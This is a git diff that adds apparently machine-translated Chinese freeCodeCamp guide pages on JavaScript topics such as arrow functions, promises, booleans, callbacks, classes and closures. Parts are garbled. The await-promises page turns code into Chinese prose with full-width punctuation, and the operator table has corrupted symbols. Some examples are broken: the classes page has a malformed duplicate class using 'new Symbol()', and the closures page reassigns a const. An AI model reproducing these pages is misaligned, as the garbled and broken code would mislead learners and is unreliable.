\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/arrow-functions/index.md b/client/src/guide/chinese/javascript/arrow-functions/index.md
new file mode 100644
index 0000000000..9467845e9b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/arrow-functions/index.md
@@ -0,0 +1,66 @@
+---
+title: Arrow Functions
+localeTitle: 箭头功能
+---
+Arrow函数是用于编写JavaScript函数表达式的新ES6语法。较短的语法节省了时间，并简化了功能范围。
+
+## 什么是箭头功能？
+
+箭头函数表达式是使用“胖箭头”标记（ `=>` ）编写函数表达式的更简洁的语法。
+
+### 基本语法
+
+以下是箭头功能的基本示例：
+
+```javascript
+// ES5 syntax 
+ var multiply = function(x, y) { 
+  return x * y; 
+ }; 
+ 
+ // ES6 arrow function 
+ var multiply = (x, y) => { return x * y; }; 
+ 
+ // Or even simpler 
+ var multiply = (x, y) => x * y; 
+```
+
+您不再需要`function`和`return`关键字，甚至是大括号。
+
+### 简化了`this`
+
+在箭头函数之前，新函数定义了它们自己的`this`值。要在传统的函数表达式中使用`this` ，我们必须编写一个类似的解决方法：
+
+```javascript
+// ES5 syntax 
+ function Person() { 
+  // we assign `this` to `self` so we can use it later 
+  var self = this; 
+  self.age = 0; 
+ 
+  setInterval(function growUp() { 
+    // `self` refers to the expected object 
+    self.age++; 
+  }, 1000); 
+ } 
+```
+
+箭头功能没有定义它自己的`this`值，它继承了`this`从封闭功能：
+
+```javascript
+// ES6 syntax 
+ function Person(){ 
+  this.age = 0; 
+ 
+  setInterval(() => { 
+    // `this` now refers to the Person object, brilliant! 
+    this.age++; 
+  }, 1000); 
+ } 
+ 
+ var p = new Person(); 
+```
+
+#### 进一步阅读
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/assignment-operators/index.md b/client/src/guide/chinese/javascript/assignment-operators/index.md
new file mode 100644
index 0000000000..877aec44cb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/assignment-operators/index.md
@@ -0,0 +1,65 @@
+---
+title: Assignment Operators
+localeTitle: 分配运营商
+---
+# 分配运营商
+
+赋值运算符，顾名思义，为变量赋值（或重新赋值）。虽然赋值运算符有很多变化，但它们都是基本赋值运算符的构建。
+
+## 句法
+
+`x = y;` |说明|必要性 ：---------：|：---------------------：|：---------：  
+`x` |变量|需要  
+`=` |分配操作员|需要  
+`y` |赋值给变量的值需要
+
+## 例子
+```
+let initialVar = 5;   // Variable initialization requires the use of an assignment operator 
+ 
+ let newVar = 5; 
+ newVar = 6;   // Variable values can be modified using an assignment operator 
+```
+
+## 变化
+
+其他赋值运算符是使用变量（由上面的x表示）和值（由上面的y表示）执行某些操作的简写，然后将结果赋给变量本身。
+
+例如，下面是加法赋值运算符的语法：
+```
+x += y; 
+```
+
+这与应用加法运算符并将总和重新分配给原始变量（即x）相同，可以通过以下代码表示：
+```
+x = x + y; 
+```
+
+为了使用实际值来说明这一点，下面是使用加法赋值运算符的另一个示例：
+```
+let myVar = 5;   // value of myVar: 5 
+ myVar += 7;   // value of myVar: 12 = 5 + 7 
+```
+
+## Javascript的赋值运算符的完整列表
+
+运营商|语法|长版  
+\------------------------------- | --------- | -------------  
+作业| x = y | x = y  
+添加任务| x + = y | x = x + y  
+减法赋值| x - = y | x = x - y  
+乘法赋值| x \* = y | x = x \* y  
+部门分配| x / = y | x = x / y  
+剩余任务| x％= y | x = x％y  
+指数分配| x \*\* = y | x = x \*\* y  
+左移分配| x << = y | x = x << y 右移分配| x >> = y | x = x >> y  
+无符号右移分配| x >>> = y | x = x >>> y  
+按位AND赋值| x＆= y | x = x＆y  
+按位异或分配| x ^ = y | x = x ^ y  
+按位OR赋值| x | = y | x = x | ÿ
+
+### 更多信息：
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment)
+
+[MSDN链接](https://docs.microsoft.com/en-us/scripting/javascript/reference/assignment-operator-decrement-equal-javascript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/async-messaging-with-rabbitmq-tortoise/index.md b/client/src/guide/chinese/javascript/async-messaging-with-rabbitmq-tortoise/index.md
new file mode 100644
index 0000000000..66ddba9060
--- /dev/null
+++ b/client/src/guide/chinese/javascript/async-messaging-with-rabbitmq-tortoise/index.md
@@ -0,0 +1,125 @@
+---
+title: Async messaging with RabbitMQ and Tortoise
+localeTitle: 与RabbitMQ和Tortoise的异步消息传递
+---
+RabbitMQ恰好是目前使用AMQ协议的最简单，性能最高的消息代理平台。在微服务架构中使用它可以带来巨大的性能提升，以及可靠性的承诺。在本指南中，我们将探讨将RabbitMQ与Node.js一起使用的基础知识。
+
+## 理论
+
+在最基本的层面上，理想情况下，您可以通过Rabbit（ _发布者_和_订阅者）_彼此交互两种不同的服务。发布者通常将消息推送到Rabbit，订阅者监听这些消息，并根据这些消息执行代码。请注意，它们可以同时发生 - 服务可以将消息发布到Rabbit并同时使用消息，这样就可以设计出非常强大的系统。
+
+现在，发布者通常会将带有_路由密钥的_消息发布到称为_交换的_东西。使用者侦听绑定到路由键的同一交换机上的_队列_ 。在架构方面，您的平台将使用一个Rabbit交换，并且不同类型的作业/服务将具有自己的路由键和队列，以使pub-sub有效地工作。消息可以是字符串;它们也可以是本机对象--AMQP客户端库可以将对象从一种语言转换为另一种语言。是的，这确实意味着服务可以用不同的语言编写，只要他们能够理解AMQP。
+
+## 入门
+
+我们将编写一个非常简单的示例，其中发布者脚本向Rabbit发布消息，其中包含URL，消费者脚本侦听Rabbit，获取已发布的U​​RL，调用它并显示结果。您可以在[Github](https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise)上找到完成的样本。
+
+首先，让我们初始化一个npm项目：
+
+`$ npm init`
+
+您始终只需`Enter`并使用默认选项 - 或者您可以填写它们。现在，让我们安装我们需要的软件包。我们将使用[Tortoise](https://www.npmjs.com/package/tortoise)与RabbitMQ进行交互。我们还将使用[node-cron](https://www.npmjs.com/package/node-cron)来安排实际的消息发布。
+
+`$ npm install --save tortoise node-cron`
+
+现在你的`package.json`应该看起来像这样：
+```
+{ 
+  "name": "freecodecamp-guides-rabbitmq-tortoise", 
+  "version": "1.0.0", 
+  "description": "Sample code to accompany the FreeCodeCamp guide on async messaging with RabbitMQ and Tortoise.", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "repository": { 
+    "type": "git", 
+    "url": "git+https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise.git" 
+  }, 
+  "keywords": [ 
+    "rabbitmq", 
+    "tortoise", 
+    "amqp" 
+  ], 
+  "author": "Rudraksh MK", 
+  "license": "MIT", 
+  "bugs": { 
+    "url": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise/issues" 
+  }, 
+  "homepage": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise#readme", 
+  "dependencies": { 
+    "node-cron": "^1.2.1", 
+    "tortoise": "^1.0.1" 
+  } 
+ } 
+```
+
+现在我们都准备好了。我们先创建一个发布者。
+
+```javascript
+const Tortoise = require('tortoise') 
+ const cron = require('node-cron') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+```
+
+在导入`tortoise`和`node-cron` ，我们继续并初始化了与RabbitMQ的连接。接下来，让我们编写一个快速而脏的函数，向Rabbit发布一条消息：
+
+```javascript
+function scheduleMessage(){ 
+    let payload = {url: 'https://randomuser.me/api'} 
+    tortoise 
+    .exchange('random-user-exchange', 'direct', { durable:false }) 
+    .publish('random-user-key', payload) 
+ } 
+```
+
+这很简单。我们已经定义了一个字典，其中包含[RandomUser.me](https://randomuser.me/) API的URL，然后使用`random-user-key`路由密钥将其发布到RabbitMQ上的`random-user-exchange`交换机。如前所述，路由键是决定谁使用消息的方法。现在，让我们编写一个调度规则，每隔60秒发布一条消息。
+
+```javascript
+cron.schedule('60 * * * * *', scheduleMessage) 
+```
+
+我们的出版商准备好了！但是如果没有消费者真正消费这些消息真的没有用！但首先，我们需要一个可以在这些消息中调用URL的库。就个人而言，我使用`superagent` ： `npm install --save superagent` 。
+
+现在，在`consumer.js` ：
+
+```javascript
+const Tortoise = require('tortoise') 
+ const superagent = require('superagent') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+```
+
+接下来，让我们编写一个异步函数来调用URL并显示结果：
+
+```javascript
+async function getURL(url){ 
+    let response = await superagent.get(url) 
+    return response.body 
+ } 
+```
+
+编写实际消费消息的代码的时间：
+
+```javascript
+tortoise 
+ .queue('random-user-queue', { durable: false }) 
+ // Add as many bindings as needed 
+ .exchange('random-user-exchange', 'direct', 'random-user-key', { durable: false }) 
+ .prefetch(1) 
+ .subscribe(function(msg, ack, nack) { 
+  // Handle 
+  let payload = JSON.parse(msg) 
+  getURL(payload['url']).then((response) => { 
+    console.log('Job result: ', response) 
+  }) 
+  ack() // or nack() 
+ }) 
+```
+
+在这里，我们告诉`tortoise`要监听`random-user-queue` ，该`random-user-queue`与`random-user-exchange`上的`random-user-exchange` `random-user-key`绑定。收到`msg` ，将从`msg`检索有效负载，并将其传递给`getURL`函数，该函数将从RandomUser API返回带有所需JSON响应的Promise。
+
+## 结论
+
+与使用RabbitMQ进行消息传递相关的简单性是无与伦比的，只需几行代码就可以很容易地得到非常复杂的微服务模式。最好的部分是消息传递背后的逻辑并没有真正改变语言--Crystal或Go或Python或Ruby以几乎相同的方式与Rabbit一起工作 - 这意味着您可以使用不同语言编写的服务可以毫不费力地相互通信，使您能够使用最好的语言来完成工作。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/await-promises/index.md b/client/src/guide/chinese/javascript/await-promises/index.md
new file mode 100644
index 0000000000..f2e63444ed
--- /dev/null
+++ b/client/src/guide/chinese/javascript/await-promises/index.md
@@ -0,0 +1,92 @@
+---
+title: Await Promises
+localeTitle: 等待承诺
+---
+## 等待承诺
+
+`async` / `await` [运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators)可以更轻松地实现许多异步Promise。它们还允许工程师编写更清晰，更简洁，可测试的代码。
+
+要理解这个主题，您应该对[Promise](https://guide.freecodecamp.org/javascript/promises)如何工作有充分的了解。
+
+* * *
+
+## 基本语法
+
+\`\`\`\`javascript function slowlyResolvedPromiseFunc（string）{ 返回新的Promise（resolve => { setTimeout（（）=> { 解析（字符串）; }，5000）; }）; }
+
+异步函数doIt（）{ const myPromise = await slowResolvedPromiseFunc（“foo”）; 的console.log（myPromise）; //“foo” }
+
+doIt方法（）;
+```
+There are a few things to note: 
+ 
+ * The function that encompasses the `await` declaration must include the `async` operator. This will tell the JS interpreter that it must wait until the Promise is resolved or rejected. 
+ * The `await` operator must be inline, during the const declaration. 
+ * This works for `reject` as well as `resolve`. 
+ 
+ --- 
+ 
+ ## Nested Promises vs. `Async` / `Await` 
+ 
+ Implementing a single Promise is pretty straightforward. In contrast, Chained Promises or the creation of a dependency pattern may produce "spaghetti code". 
+ 
+ The following examples assume that the <a href='https://github.com/request/request-promise' target='_blank' rel='nofollow'>`request-promise`</a> library is available as `rp`. 
+ 
+ ### Chained/Nested Promises 
+```
+
+JavaScript的 //第一承诺 const fooPromise = rp（“http://domain.com/foo”）;
+
+fooPromise.then（resultFoo => { //必须等待“foo”才能解决 的console.log（resultFoo）;
+```
+const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ return Promise.all([barPromise, bazPromise]); 
+```
+
+}）。then（resultArr => { //在此处理“bar”和“baz”分辨率 的console.log（resultArr \[0\]）; 的console.log（resultArr \[1\]）; }）;
+```
+### `async` and `await` Promises 
+```
+
+JavaScript的 //将所有内容包装在异步函数中 异步函数doItAll（）{ //从“foo”端点获取数据，但等待解决 console.log（等待rp（“http://domain.com/foo”））;
+```
+// Concurrently kick off the next two async calls, 
+ // don't wait for "bar" to kick off "baz" 
+ const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ // After both are concurrently kicked off, wait for both 
+ const barResponse = await barPromise; 
+ const bazResponse = await bazPromise; 
+ 
+ console.log(barResponse); 
+ console.log(bazResponse); 
+```
+
+}
+
+//最后，调用异步函数 doItAll（）。then（（）=> console.log（'Done！'））;
+```
+The advantages of using `async` and `await` should be clear. This code is more readable, modular, and testable. 
+ 
+ It's fair to note that even though there is an added sense of concurrency, the underlying computational process is the same as the previous example. 
+ 
+ --- 
+ 
+ ## Handling Errors / Rejection 
+ 
+ A basic try-catch block handles a rejected Promise. 
+```
+
+JavaScript的 异步函数errorExample（）{ 尝试{ const rejectedPromise = await Promise.reject（“哦 - 哦！”）; } catch（error）{ 的console.log（误差）; //“呃 - 哦！” } }
+
+errorExample（）; \`\`\`
+
+* * *
+
+#### 更多信息：
+
+*   `await`运营商[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await)
+*   `async`功能操作员[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/async_function)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/booleans/index.md b/client/src/guide/chinese/javascript/booleans/index.md
new file mode 100644
index 0000000000..e02f6d259c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/booleans/index.md
@@ -0,0 +1,102 @@
+---
+title: Boolean
+localeTitle: 布尔
+---
+## 布尔
+
+布尔值是计算机编程语言中常用的原始数据类型。根据定义，布尔值有两个可能的值： `true`或`false` 。
+
+在Javascript中，通常存在对boolean的隐式类型强制。例如，如果你有一个if语句来检查某个表达式，那么该表达式将被强制转换为布尔值：
+
+```javascript
+var a = 'a string'; 
+ if (a) { 
+  console.log(a); // logs 'a string' 
+ } 
+```
+
+只有少数值会被强制为false：
+
+*   假（不是真的被胁迫，因为它已经是假的）
+*   空值
+*   未定义
+*   为NaN
+*   0
+*   ''（空字符串）
+
+所有其他值将被强制为true。 当一个值被强制转换为布尔值时，我们也称之为'falsy'或'truthy'。
+
+使用类型强制的一种方法是使用or（ `||` ）和and（ `&&` ）运算符：
+
+```javascript
+var a = 'word'; 
+ var b = false; 
+ var c = true; 
+ var d = 0 
+ var e = 1 
+ var f = 2 
+ var g = null 
+ 
+ console.log(a || b); // 'word' 
+ console.log(c || a); // true 
+ console.log(b || a); // 'word' 
+ console.log(e || f); // 1 
+ console.log(f || e); // 2 
+ console.log(d || g); // null 
+ console.log(g || d); // 0 
+ console.log(a && c); // true 
+ console.log(c && a); // 'word' 
+```
+
+如您所见， _or_运算符检查第一个操作数。如果这是真的或真实的，它会立即返回（这就是为什么我们在第一种情况下得到'word'而在第二种情况下得到true）。如果它不是真或真，它会返回第二个操作数（这就是为什么我们在第三种情况下得到'word'）。
+
+使用和运算符它以类似的方式工作，但为了'和'是真的，两个操作数都需要真实。因此，如果两者都是真/真，它将始终返回第二个操作数，否则它将返回false。这就是为什么在第四种情况下我们得到了真实，在最后一种情况下，我们得到了'字'。
+
+## 布尔对象
+
+还有一个包含值的本机JavaScript对象。如有必要，作为第一个参数传递的值将转换为布尔值。如果省略value，0，-0，null，false，NaN，undefined或空字符串（“”），则对象的初始值为false。所有其他值（包括任何对象或字符串“false”）都会创建一个初始值为true的对象。
+
+不要将原始布尔值true和false与布尔对象的true和false值混淆。
+
+## 更多细节
+
+任何值未定义或为null的对象（包括值为false的Boolean对象）在传递给条件语句时计算结果为true。如果为true，则执行该函数。例如，以下if语句中的条件求值为true：
+
+```javascript
+var x = new Boolean(false); 
+ if (x) { 
+  // this code is executed 
+ } 
+```
+
+此行为不适用于布尔基元。例如，以下if语句中的条件求值为false：
+
+```javascript
+var x = false; 
+ if (x) { 
+  // this code is not executed 
+ } 
+```
+
+不要使用Boolean对象将非布尔值转换为布尔值。相反，使用布尔值作为函数来执行此任务：
+
+```javascript
+var x = Boolean(expression);     // preferred 
+ var x = new Boolean(expression); // don't use 
+```
+
+如果指定任何对象（包括值为false的Boolean对象）作为Boolean对象的初始值，则新的Boolean对象的值为true。
+
+```javascript
+var myFalse = new Boolean(false);   // initial value of false 
+ var g = new Boolean(myFalse);       // initial value of true 
+ var myString = new String('Hello'); // string object 
+ var s = new Boolean(myString);      // initial value of true 
+```
+
+不要使用布尔对象代替布尔基元。
+
+### 资源
+
+*   [布尔对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+*   [布尔对象](https://docs.oracle.com/javase/7/docs/api/java/lang/Boolean.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/callback-functions/index.md b/client/src/guide/chinese/javascript/callback-functions/index.md
new file mode 100644
index 0000000000..407af391fa
--- /dev/null
+++ b/client/src/guide/chinese/javascript/callback-functions/index.md
@@ -0,0 +1,80 @@
+---
+title: Callback Functions
+localeTitle: 回调函数
+---
+本文简要介绍了Javascript编程语言中回调函数的概念和用法。
+
+## 功能是对象
+
+我们需要知道的第一件事是在Javascript中，函数是一流的对象。因此，我们可以像处理其他对象一样使用它们，比如将它们分配给变量并将它们作为参数传递给其他函数。这很重要，因为后一种技术允许我们在应用程序中扩展功能。
+
+## 回调函数
+
+**回调函数**是_作为参数_传递给另一个函数的函数，以便稍后“回调”。接受其他函数作为参数的函数称为**高阶函数** ，它包含回调函数执行_时_的逻辑。这两者的结合使我们能够扩展我们的功能。
+
+为了说明回调，让我们从一个简单的例子开始：
+
+```javascript
+function createQuote(quote, callback){ 
+  var myQuote = "Like I always say, " + quote; 
+  callback(myQuote); // 2 
+ } 
+ 
+ function logQuote(quote){ 
+  console.log(quote); 
+ } 
+ 
+ createQuote("eat your vegetables!", logQuote); // 1 
+ 
+ // Result in console: 
+ // Like I always say, eat your vegetables! 
+```
+
+在上面的例子中， `createQuote`是高阶函数，它接受两个参数，第二个是回调。 `logQuote`函数用于传入我们的回调函数。当我们执行`createQuote`函数_（1）时_ ，请注意当我们将它作为参数传递时，我们_不会将_括号_附加_到`logQuote` 。这是因为我们不想立即执行我们的回调函数，我们只是想将函数定义传递给高阶函数，以便以后执行。
+
+此外，我们需要确保如果我们传入的回调函数需要参数，那么我们在执行回调时提供这些参数_（2）_ 。在上面的例子中，那将是`callback(myQuote);`声明，因为我们知道`logQuote`需要传入引号。
+
+另外，我们可以传递匿名函数作为回调。以下对`createQuote`调用与上面的示例具有相同的结果：
+
+```javascript
+createQuote("eat your vegetables!", function(quote){ 
+  console.log(quote); 
+ }); 
+```
+
+顺便说一句，你_不必_用“回拨”作为参数的名称，使用Javascript只需要知道它是正确的参数名称。基于上面的例子，下面的函数将以完全相同的方式运行。
+
+```javascript
+function createQuote(quote, functionToCall) { 
+  var myQuote = "Like I always say, " + quote; 
+  functionToCall(myQuote); 
+ } 
+```
+
+## 为什么要使用Callbacks？
+
+大多数时候，我们正在创建以**同步**方式运行的程序和应用程序。换句话说，我们的一些操作只有在前面的操作完成后才会启动。通常，当我们从其他来源（例如外部API）请求数据时，我们并不总是知道_何时_会回送我们的数据。在这些情况下，我们希望等待响应，但我们并不总是希望我们的整个应用程序在获取数据时停止运行。这些情况是回调函数派上用场的地方。
+
+我们来看一个模拟对服务器的请求的示例：
+
+```javascript
+function serverRequest(query, callback){ 
+  setTimeout(function(){ 
+    var response = query + "full!"; 
+    callback(response); 
+  },5000); 
+ } 
+ 
+ function getResults(results){ 
+  console.log("Response from the server: " + results); 
+ } 
+ 
+ serverRequest("The glass is half ", getResults); 
+ 
+ // Result in console after 5 second delay: 
+ // Response from the server: The glass is half full! 
+```
+
+在上面的示例中，我们向服务器发出模拟请求。经过5秒后，响应被修改，然后我们的回调函数`getResults`被执行。要查看此操作，您可以将上述代码复制/粘贴到浏览器的开发人员工具中并执行它。
+
+此外，如果您已经熟悉`setTimeout` ，那么您一直在使用回调函数。传递给上面例子的`setTimeout`函数调用的匿名函数参数也是一个回调函数！因此，示例的原始回调实际上是由另一个回调执行的。如果你可以帮忙的话，小心不要嵌套太多的回调，因为这会导致一种叫做“回调地狱”的东西！顾名思义，处理起来并不是一种乐趣。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/classes/index.md b/client/src/guide/chinese/javascript/classes/index.md
new file mode 100644
index 0000000000..0a83219fae
--- /dev/null
+++ b/client/src/guide/chinese/javascript/classes/index.md
@@ -0,0 +1,174 @@
+---
+title: Classes
+localeTitle: 类
+---
+## 类
+
+JavaScript本身没有类的概念。
+
+但是我们可以通过利用JavaScript的原型性质来模拟类的功能。
+
+本文假设您对[原型](/src/pages/javascript/prototypes/index.md)有基本的了解。
+
+为了清楚起见，我们假设我们想要创建一个可以执行以下操作的类
+
+```javascript
+var p = new Person('James','Bond'); // create a new instance of Person class 
+    p.log() // Output: 'I am James Bond' // Accessing a function in the class 
+    // Using setters and getters 
+    p.profession = 'spy' 
+    p.profession // output: James bond is a spy 
+```
+
+### 使用class关键字
+
+与任何其他编程语言一样，您现在可以使用`class`关键字来创建类。
+
+旧版浏览器不支持此功能，并且已在ECMAScript 2015中引入。
+
+```javascript
+class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+```
+
+  
+  
+
+`class`只是JavaScript现有的基于原型的继承模型的语法糖。
+
+通常，程序员使用以下方法在JavaScript中创建类。
+
+### 使用添加到原型的方法：
+
+在这里，所有方法都被添加到原型中
+
+```javascript
+function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ } 
+ 
+ Person.prototype.log = function() { 
+    console.log('I am', this._firstName, this._lastName); 
+ } 
+ 
+ // This line adds getters and setters for the profession object. Note that in general you could just write your own get and set functions like the 'log' method above. 
+ // Since in this example we are trying the mimic the class above, we try to use the getters and setters property provided by JavaScript 
+ Object.defineProperty(Person.prototype, 'profession', { 
+    set: function(val) { 
+        this._profession = val; 
+    }, 
+    get: function() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ }) 
+```
+
+您还可以在函数`Person`编写原型方法，如下所示
+
+```javascript
+Person.prototype = { 
+    log: function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+ 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+```
+
+### 使用内部添加的方法
+
+这里的方法是内部添加而不是原型
+
+```javascript
+function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ 
+    this.log = function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+ 
+    Object.defineProperty(this, 'profession', { 
+        set: function(val) { 
+            this._profession = val; 
+        }, 
+        get: function() { 
+            console.log(this._firstName, this._lastName, 'is a', this._profession); 
+        } 
+    }) 
+ } 
+```
+
+### 用符号隐藏类中的细节
+
+大多数情况下，必须隐藏一些属性和方法以防止从函数外部进行访问。对于类，要获得此功能，一种方法是使用符号。 Symbol是一种新的内置JavaScript类型，可以调用它来提供新的符号值。每个符号都是唯一的，可以用作对象的键。因此，符号的一个用例是，您可以向您可能不拥有的对象添加内容，并且您可能不希望与对象的任何其他键冲突，因此创建新的并使用符号将该属性添加到该对象是最安全的。此外，当符号值添加到对象时;没有人会知道如何得到它。
+
+```javascript
+class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ // With the above code, even though we can access the properties outside the function to change their content what if we don't want that. 
+ // Symbols come to rescue. 
+ let s_firstname  = new Symbol(); 
+ 
+ class Person { 
+    constructor(firstName, lastName) { 
+        this[s_firstName] = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this[s_firstName], this._lastName, 'is a', this._profession); 
+    } 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/closures/index.md b/client/src/guide/chinese/javascript/closures/index.md
new file mode 100644
index 0000000000..ccd517361d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/closures/index.md
@@ -0,0 +1,177 @@
+---
+title: Closures
+localeTitle: 关闭
+---
+# 关闭
+
+闭包是函数和声明该函数的词法环境（范围）的组合。闭包是Javascript的基础和强大属性。本文讨论关闭闭包的'方式'和'原因'：
+
+### 例
+
+```js
+//we have an outer function named walk and an inner function named fly 
+ 
+ function walk (){ 
+ 
+  var dist = '1780 feet'; 
+ 
+  function fly(){ 
+    console.log('At '+dist); 
+  } 
+ 
+  return fly; 
+ } 
+ 
+ var flyFunc = walk(); //calling walk returns the fly function which is being assigned to flyFunc 
+ //you would expect that once the walk function above is run 
+ //you would think that JavaScript has gotten rid of the 'dist' var 
+ 
+ flyFunc(); //Logs out 'At 1780 feet' 
+ //but you still can use the function as above 
+ //this is the power of closures 
+```
+
+### 另一个例子
+
+```js
+function by(propName) { 
+    return function(a, b) { 
+        return a[propName] - b[propName]; 
+    } 
+ } 
+ 
+ const person1 = {name: 'joe', height: 72}; 
+ const person2 = {name: 'rob', height: 70}; 
+ const person3 = {name: 'nicholas', height: 66}; 
+ 
+ const arr_ = [person1, person2, person3]; 
+ 
+ const arr_sorted = arr_.sort(by('height')); // [ { name: 'nicholas', height: 66 }, { name: 'rob', height: 70 },{ name: 'joe', height: 72 } ] 
+```
+
+闭包'记住'创建它的环境。此环境由创建闭包时在范围内的任何局部变量组成。
+
+```js
+function outside(num) { 
+  var rememberedVar = num; // In this example, rememberedVar is the lexical environment that the closure 'remembers' 
+  return function inside() { // This is the function which the closure 'remembers' 
+    console.log(rememberedVar) 
+  } 
+ } 
+ 
+ var remember1 = outside(7); // remember1 is now a closure which contains rememberedVar = 7 in its lexical environment, and //the function 'inside' 
+ var remember2 = outside(9); // remember2 is now a closure which contains rememberedVar = 9 in its lexical environment, and //the function 'inside' 
+ 
+ remember1(); // This now executes the function 'inside' which console.logs(rememberedVar) => 7 
+ remember2(); // This now executes the function 'inside' which console.logs(rememberedVar) => 9 
+```
+
+闭包很有用，因为它们让您“记住”数据，然后让您通过返回的函数操作该数据。这允许javascript模拟其他编程语言中的私有方法。私有方法对于限制对代码的访问以及管理全局命名空间非常有用。
+
+### 私有变量和方法
+
+闭包还可用于封装私有数据/方法。看看这个例子：
+
+```javascript
+const bankAccount = (initialBalance) => { 
+  const balance = initialBalance; 
+ 
+  return { 
+    getBalance: function() { 
+      return balance; 
+    }, 
+    deposit: function(amount) { 
+      balance += amount; 
+      return balance; 
+    }, 
+  }; 
+ }; 
+ 
+ const account = bankAccount(100); 
+ 
+ account.getBalance(); // 100 
+ account.deposit(10); // 110 
+```
+
+在这个例子中，我们将无法从`bankAccount`函数之外的任何地方访问`balance` ，这意味着我们刚刚创建了一个私有变量。封闭在哪里？好吧，想想`bankAccount()`正在返回什么。它实际上返回一个带有一堆函数的Object，然而当我们调用`account.getBalance()` ，该函数能够“记住”它对`balance`初始引用。这就是闭包的强大功能，即函数“记住”它的词法范围（编译时范围），即使函数在该词法范围之外执行也是如此。
+
+**模拟块范围的变量。**
+
+Javascript没有块范围变量的概念。这意味着例如在forloop中定义变量时，此变量也可以从forloop外部看到。那么闭包如何帮助我们解决这个问题呢？让我们来看看。
+
+```javascript
+    var funcs = []; 
+ 
+    for(var i = 0; i < 3; i++){ 
+        funcs[i] = function(){ 
+            console.log('My value is ' + i);  //creating three different functions with different param values. 
+        } 
+    } 
+ 
+    for(var j = 0; j < 3; j++){ 
+        funcs[j]();             // My value is 3 
+                                // My value is 3 
+                                // My value is 3 
+    } 
+```
+
+由于变量i没有块范围，因此使用循环计数器更新了所有三个函数中的值，并创建了恶意值。 Closure可以通过创建函数创建时的环境快照来帮助我们解决这个问题，保留其状态。
+
+```javascript
+    var funcs = []; 
+ 
+    var createFunction = function(val){ 
+        return function() {console.log("My value: " + val);}; 
+    } 
+ 
+    for (var i = 0; i < 3; i++) { 
+        funcs[i] = createFunction(i); 
+    } 
+    for (var j = 0; j < 3; j++) { 
+        funcs[j]();                 // My value is 0 
+                                    // My value is 1 
+                                    // My value is 2 
+    } 
+```
+
+javascript es6 +的后期版本有一个名为let的新关键字，可用于为变量提供一个blockscope。 还有许多函数（forEach）和整个库（lodash.js）专门用于解决上述问题。它们当然可以提高您的工作效率，但是在尝试创建大型项目时了解所有这些问题仍然非常重要。
+
+闭包有许多特殊的应用程序，在创建大型JavaScript程序时很有用。
+
+1.  模拟私有变量或封装
+2.  进行异步服务器端调用
+3.  创建块范围的变量。
+
+**模拟私有变量。**
+
+与许多其他语言不同，Javascript没有允许您在对象中创建封装实例变量的机制。在构建中型到大型程序时，使用公共实例变量会导致很多问题。但是对于闭包，可以减轻这个问题。
+
+与前面的示例非常相似，您可以使用可以访问对象的局部变量的方法构建返回对象文字的函数，而不会暴露它们。因此，使它们实际上是私密的。
+
